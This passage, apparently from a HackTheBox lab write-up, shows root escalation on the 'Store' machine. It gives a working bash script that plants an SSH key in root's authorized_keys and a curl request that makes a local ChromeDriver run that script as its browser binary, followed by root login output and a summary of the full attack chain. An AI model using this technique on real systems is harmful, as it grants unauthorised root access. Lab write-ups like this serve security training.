{"sessionId":"","status":0,"value":[]}
Searching for “Chrome webdriver RCE” , we can find the article shows how to start a new session with a POST to /session:
https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148

I will create a simple bash script to write my public key to the root user's authorized_keys file.
#!/bin/bash
mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDO0dl48snyfNIrhj7V9tMQpXE5B0uCuiCXQxCdZLYglN70DyHDODd5y6jdo4JhorRyBK7kEguQZErAGWtJOs9Q8Tk6VLE1PmRc+vZMFH7FhM+Bdr6kH3bjHbPvLr/rqwYKCzUB5oYZOAJP9+6azC/SiBdtne0TN7uzTLXIO9+nFvfX6ZEL+Exkc3Tux7BlmatBJAOjvSHY94NXylZzyNM8HKDLp1fR43f64oKDL5odQFumuYDS2PvRRTMcx9NJ8xc1PD2STFd9xXvcpyXnE+WJjbc0s/iq6bgw6FrN7yYEegXolRsLh9jMFQtfJnBExqK2PWMm++UH2U6W4CXdKq1Vjlj+ZbWoC8SM3lL+H2y+wB2xjugQolebG3JS1r6NLGCDygY25ySUskXPdprwPf6vFCQiSdr2EHATwJI3HQMMUyBuEuHawppop60atUcMOhXny0h7//zJ/td6fouJT14KxQ/3f3B/ifXoAmIX8Y15FBxY70qeubV1XE+TnaXaw7IdESxEn5mIl13cIleAv/UFF4fEyXutr3ceDFHE4MOsL4KzynSfNmUMKkkbf+IbVGiJTKrzjzcCPx4KBKkhybmidX3q3LOwXvtltF/7t5/bM9D8JB7rT/3VF4ECtPt9Mr2FbahMz9Uzm1yKcu0sNbx9DFKSVtn2larH+zqh7QU7iQ== test" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
chmod 700 /root/.ssh
Now I would trigger it using Chrome:
dev@store:~$ curl localhost:9515/session -d '{"capabilities": {"alwaysMatch": {"goog:chromeOptions": {"binary": "/tmp/root.sh"}}}}'
{"value":{"error":"unknown error","message":"unknown error: Chrome failed to start: exited normally.\n (unknown error: DevToolsActivePort file doesn't exist)\n (The process started from chrome location /tmp/root.sh is no longer running, so ChromeDriver is assuming that Chrome has crashed.)","stacktrace":"#0 0x5a6de002ad93 \u003Cunknown>\n#1 0x5a6ddfdf92d7 \u003Cunknown>\n#2 0x5a6ddfe21ab0 \u003Cunknown>\n#3 0x5a6ddfe1da3d \u003Cunknown>\n#4 0x5a6ddfe624f4 \u003Cunknown>\n#5 0x5a6ddfe59353 \u003Cunknown>\n#6 0x5a6ddfe28e40 \u003Cunknown>\n#7 0x5a6ddfe2a038 \u003Cunknown>\n#8 0x5a6de007e8be \u003Cunknown>\n#9 0x5a6de00828f0 \u003Cunknown>\n#10 0x5a6de0062f90 \u003Cunknown>\n#11 0x5a6de0083b7d \u003Cunknown>\n#12 0x5a6de0054578 \u003Cunknown>\n#13 0x5a6de00a8348 \u003Cunknown>\n#14 0x5a6de00a84d6 \u003Cunknown>\n#15 0x5a6de00c2341 \u003Cunknown>\n#16 0x79c371494ac3 \u003Cunknown>\n"}}
It reports failure, because my script isn’t a valid browser.
But we can ssh connect to root shell
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Store]
└─$ ssh root@10.129.249.96 -i ~/.ssh/id_rsa
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.8.0-1040-aws x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Thu Nov 6 12:41:37 UTC 2025
System load: 0.05 Processes: 238
Usage of /: 58.9% of 6.60GB Users logged in: 0
Memory usage: 12% IPv4 address for eth0: 10.129.249.96
Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
5 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Fri Oct 24 11:11:21 2025
root@store:~# id
uid=0(root) gid=0(root) groups=0(root)
root@store:~# whoami
root
Description
The system exploits directory traversal through Express file storage to leak files encrypted with weak XOR (9 bytes), decrypts them to obtain SFTP credentials, accesses the host via SFTP, obtains an interactive shell through the Node.js remote debugging interface, and finally elevates the Chrome debug port running as root to code execution.